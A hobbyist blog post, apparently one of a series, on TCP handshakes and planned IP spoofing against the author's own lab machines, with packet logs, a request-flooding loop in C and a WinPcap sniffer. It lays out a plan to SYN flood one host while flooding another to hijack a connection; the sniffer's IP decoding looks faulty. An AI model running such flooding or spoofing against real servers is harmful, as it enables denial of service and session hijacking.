Proof of Concept
Notice that the format of the
data and the pseudocode is the same. I made modifications to the code in my
program too output data that passes through the network adapter with the SYN and
ACK flags set. Notice how the client and server both generate sequence numbers.
After receiving a sequence number, both client and server add one to it and set
ACK to that value; if they haven't created a sequence number they do
so. ... The data was generated by
starting up the (modified) basic_dump program, starting up a web browser and
then visiting a web page. So the ip address I sent the web server (Serval) was
that of the machine the client ran on (Caprica). That means Caprica received the
ACK from Serval. If I had spoofed the IP address then I would never have
received the ACK from Serval; it would've gone to the spoofed address. If I can
send an ACK back to Serval before the spoofed server can, then I can complete
the connection; no problem. I can SYN flood the server I'm spoofing and I can
flood Serval with requests at the same time. Here's some data I collected with a
further modified version of basic_dump, while running the program I'll use to flood
Serval with requests:
flag = syn
15:01:42,676956 len:66, seqnbr:825111809, acknbr:0, source_port:50808, dest_port:445
flag = ack + syn
15:01:42,677055 len:66, seqnbr:3078048642, acknbr:825111810, source_port:445, dest_port:50808
flag = ack
15:01:42,678327 len:60, seqnbr:825111810, acknbr:3078048643, source_port:50808, dest_port:445
The above data came from my WinPcap program that I introduced in my
last blog. In that blog I included the following pseudocode:
Packet 1: Client -> Server
flags: SYN ("I want to initiate a connection")
SEQ : clientnr
Packet 2: Server -> Client
flags: SYN, ACK (ACK: The request is being acknowledged)
SEQ : servernr
ACK : clientnr+1
Packet 3: Client -> Server
flags: ACK
flag = syn
source ip: 76.18.55.205
dest ip: 0.140.42.144
00:43:11,398053 len:74, seqnbr:1969657973, acknbr:0, source_port:45550, dest_port:80, sourceip:3442938444, destip:151169216
flag = ack + syn
source ip: 0.140.42.144
dest ip: 76.18.55.205
00:43:11,398189 len:74, seqnbr:2715109788, acknbr:1969657974, source_port:80, dest_port:45550, sourceip:151169216, destip:3442938444
flag = ack
source ip: 76.18.55.205
dest ip: 0.140.42.144
00:43:11,399613 len:66, seqnbr:1969657974, acknbr:2715109789, source_port:45550, dest_port:80, sourceip:3442938444, destip:151169216
Please note that I'm now displaying ip addresses, too. My wan address is 76.18.55.205 and my local network addresses start with 192.168. The wan address shows up correctly, but I expected a 192.168.x.x address, too. I guess ip addresses starting with a zero represent computers that aren't a gateway or home of the web server. Here's the code I used to flood Serval with requests (copied off the Internet):
/********************************************************************** * client.c --- Demonstrate a simple client. * Tom Kelliher * * This program will connect to a simple iterative server and exchange * messages. The single command line argument is the server's hostname. * The server is expected to be accepting connection requests from * SERVER_PORT. * * The same message is sent three times over separate connections, * demonstrating that different ephemeral ports are used for each * connection. **********************************************************************/ #include//sys/types.h #include //sys/socket.h #include //netinet/in.h #include //netdb.h #include //stdio.h #include //stdlib.h #define DATA "GET / HTTP/1.0\r\n\r\n" #define SERVER_PORT 80 #define BUFFER_SIZE 16384 /* prototypes */ void die(const char *); void pdie(const char *); /********************************************************************** * main **********************************************************************/ int main(int argc, char *argv[]) { int sock; /* fd for socket connection */ struct sockaddr_in server; /* Socket info. for server */ struct sockaddr_in client; /* Socket info. about us */ int clientLen; /* Length of client socket struct. */ struct hostent *hp; /* Return value from gethostbyname() */ char buf[BUFFER_SIZE]; /* Received data buffer */ int i; /* loop counter */ if (argc != 2) die("Usage: client hostname"); /* Open 3 sockets and send same message each time. */ for (i = 0; i < 3; ++i) { /* Open a socket --- not bound yet. */ /* Internet TCP type. */ if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) pdie("Opening stream socket"); /* Prepare to connect to server. */ bzero((char *) &server, sizeof(server)); server.sin_family = AF_INET; if ((hp = gethostbyname(argv[1])) == NULL) { sprintf(buf, "%s: unknown host\n", argv[1]); die(buf); } bcopy(hp->h_addr, &server.sin_addr, hp->h_length); server.sin_port = htons((u_short) SERVER_PORT); /* Try to connect */ if (connect(sock, (struct sockaddr *) &server, sizeof(server)) < 0) pdie("Connecting stream socket"); /* Determine what port client's using. */ clientLen = sizeof(client); if (getsockname(sock, (struct sockaddr *) &client, &clientLen)) pdie("Getting socket name"); if (clientLen != sizeof(client)) die("getsockname() overwrote name structure"); loop: printf("Client socket has port %hu\n", ntohs(client.sin_port)); /* Write out message. */ if (write(sock, DATA, sizeof(DATA)) < 0) pdie("Writing on stream socket"); printf("Just wrote message to server\n"); /* Prepare our buffer for a read and then read. */ bzero(buf, sizeof(buf)); if (read(sock, buf, BUFFER_SIZE) < 0) pdie("Reading stream message"); printf("C: %s\n", buf); goto loop; /* Close this connection. */ close(sock); } exit(0); } /********************************************************************** * pdie --- Call perror() to figure out what's going on and die. **********************************************************************/ void pdie(const char *mesg) { perror(mesg); exit(1); } /********************************************************************** * die --- Print a message and die. **********************************************************************/ void die(const char *mesg) { fputs(mesg, stderr); fputc('\n', stderr); exit(1); }
I made some very minor changes to the above program. I changed the DATA macro to a GET request, so it would get a web page, and I increased the size of buf the buffer. I also added a goto that makes the send receive an endless loop. The author of this program was nice enough to put a printf in the code too output the port number (oh yeah, I also changed the destination port number to 80). The above code compiles clean on Legacy OS 2 (A Puppy Linux pupplet). Here's the code for basic_dump (compiled on VC++ - Visual Studio Express 10) with my second set of modifications:
#include//stdafx.h #include //added pcap.h to the include path #include #include "winsock2.h" //need this for the ntohs and ntohl functions #pragma comment(lib, "ws2_32.lib") //I added the wpcap.lib library in the project settings but I wasn't sure about how too add this //so I'm adding the library for winsock here, the old fashioned way using namespace System; /* prototype of the packet handler */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); // prototype of dotted decimal formatting function void createDotted(char *binaryStr); FILE *network_records; int main() { pcap_if_t *alldevs; pcap_if_t *d; int inum; int i=0; pcap_t *adhandle; char errbuf[PCAP_ERRBUF_SIZE]; network_records = fopen("network_records.txt.","w"); /* Retrieve the device list */ if(pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* Print the list */ for(d=alldevs; d; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* Jump to the selected adapter */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); /* Open the device */ /* Open the adapter */ if ((adhandle= pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout errbuf // error buffer )) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } printf("\nlistening on %s...\n", d->description); /* At this point, we don't need any more the device list. Free it */ pcap_freealldevs(alldevs); /* start the capture */ pcap_loop(adhandle, 0, packet_handler, NULL); pcap_close(adhandle); fclose(network_records); return 0; } /* Callback function invoked by libpcap for every incoming packet */ void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { struct tm *ltime; char timestr[16]; time_t local_tv_sec; typedef struct tcp_header { unsigned short source_port; // source port unsigned short dest_port; // destination port unsigned int sequence; // sequence number - 32 bits unsigned int acknowledge; // acknowledgement number - 32 bits unsigned char ns :1; //Nonce Sum Flag Added in RFC 3540. unsigned char reserved_part1:3; //according to rfc unsigned char data_offset:4; /*The number of 32-bit words in the TCP header. This indicates where the data begins. The length of the TCP header is always a multiple of 32 bits.*/ unsigned char fin :1; //Finish Flag unsigned char syn :1; //Synchronise Flag unsigned char rst :1; //Reset Flag unsigned char psh :1; //Push Flag unsigned char ack :1; //Acknowledgement Flag unsigned char urg :1; //Urgent Flag unsigned char ecn :1; //ECN-Echo Flag unsigned char cwr :1; //Congestion Window Reduced Flag unsigned short window; // window unsigned short checksum; // checksum unsigned short urgent_pointer; // urgent pointer } TCP_HDR; /* Ip header (v4) */ typedef struct ip_hdr { unsigned char ip_header_len:4; // 4-bit header length (in 32-bit words) normally=5 (Means 20 Bytes may be 24 also) unsigned char ip_version :4; // 4-bit IPv4 version unsigned char ip_tos; // IP type of service unsigned short ip_total_length; // Total length unsigned short ip_id; // Unique identifier unsigned char ip_frag_offset :5; // Fragment offset field unsigned char ip_more_fragment :1; unsigned char ip_dont_fragment :1; unsigned char ip_reserved_zero :1; unsigned char ip_frag_offset1; //fragment offset unsigned char ip_ttl; // Time to live unsigned char ip_protocol; // Protocol(TCP,UDP etc) unsigned short ip_checksum; // IP checksum unsigned int ip_srcaddr; // Source address unsigned int ip_destaddr; // Source address } IPV4_HDR; /* Ethernet Header */ typedef struct ethernet_header { UCHAR dest[6]; UCHAR source[6]; USHORT type; } ETHER_HDR; ETHER_HDR *ethhdr; IPV4_HDR *iphdr; TCP_HDR *tcpheader; unsigned char iphdrlen = 0; unsigned int sequence = 0; unsigned int ack = 0; unsigned short dest_port = 0; unsigned short source_port = 0; int flags = 0; unsigned int sourceip = 0; unsigned int destip = 0; char binaryStr[255]; /* * unused parameter */ (VOID)(param); /* Get the sequence number from pkt_data */ iphdr = (IPV4_HDR *) (pkt_data + sizeof(ETHER_HDR)); iphdrlen = iphdr->ip_header_len*4; tcpheader = (TCP_HDR*) (pkt_data +iphdrlen + sizeof(ETHER_HDR)); if (tcpheader != NULL) { sequence = ntohl(tcpheader->sequence); ack = ntohl(tcpheader->acknowledge);; source_port = ntohs(tcpheader->source_port); dest_port = ntohs(tcpheader->dest_port); sourceip = iphdr->ip_srcaddr; destip = iphdr->ip_destaddr; } else { sequence = -1; } /* convert the timestamp to readable format */ local_tv_sec = header->ts.tv_sec; ltime=localtime(&local_tv_sec); strftime( timestr, sizeof timestr, "%H:%M:%S", ltime); //I just want info from web connections - filtering for port 80 // if ((dest_port == 80) || (source_port == 80)) if (tcpheader->syn) { ++flags; } if (tcpheader->ack) { flags += 2; } switch (flags) { case 1: printf("flag = syn\n"); fputs("flag = syn\n", network_records); break; case 2: printf("flag = ackn\n"); fputs("flag = ack\n", network_records); break; case 3: printf("flag = syn + ack\n"); fputs("flag = ack + syn\n", network_records); break; } if (flags != 0) { itoa(sourceip, binaryStr, 2); createDotted(binaryStr); printf("source %s\n", binaryStr); fprintf(network_records, "source %s\n", binaryStr); itoa(destip, binaryStr, 2); createDotted(binaryStr); printf("dest %s\n", binaryStr); fprintf(network_records, "dest %s\n", binaryStr); printf("%s,%.6d len:%d, seqnbr:%u, acknbr:%u, source_port:%u, dest_port:%u, sourceip:%u, destip:%u\n", timestr, header->ts.tv_usec, header->len, sequence, ack, source_port, dest_port, sourceip, destip); fprintf(network_records, "%s,%.6d len:%d, seqnbr:%u, acknbr:%u, source_port:%u, dest_port:%u, sourceip:%u, destip:%u\n", timestr, header->ts.tv_usec, header->len, sequence, ack, source_port, dest_port, sourceip, destip); } } void createDotted(char *binaryStr) { struct dottedType { char seg0[9]; char seg1[9]; char seg2[9]; char seg3[9]; } Dotted; memset(Dotted.seg3, 0, 9); strncpy(Dotted.seg3, binaryStr, 8); memset(Dotted.seg2, 0, 9); strncpy(Dotted.seg2, binaryStr + 8, 8); memset(Dotted.seg1, 0, 9); strncpy(Dotted.seg1, binaryStr + 16, 8); memset(Dotted.seg0, 0, 9); strncpy(Dotted.seg0, binaryStr + 24, 8); sprintf(binaryStr, "ip: %u.%u.%u.%u\n", strtoul(Dotted.seg0, NULL, 2), strtoul(Dotted.seg1, NULL, 2), strtoul(Dotted.seg2, NULL, 2), strtoul(Dotted.seg3, NULL, 2)); }
I mentioned in my last blog that I needed a program running on Caprica that allows hand entry of sequence numbers. That's my next task. My next blog should show me spoofing Serval.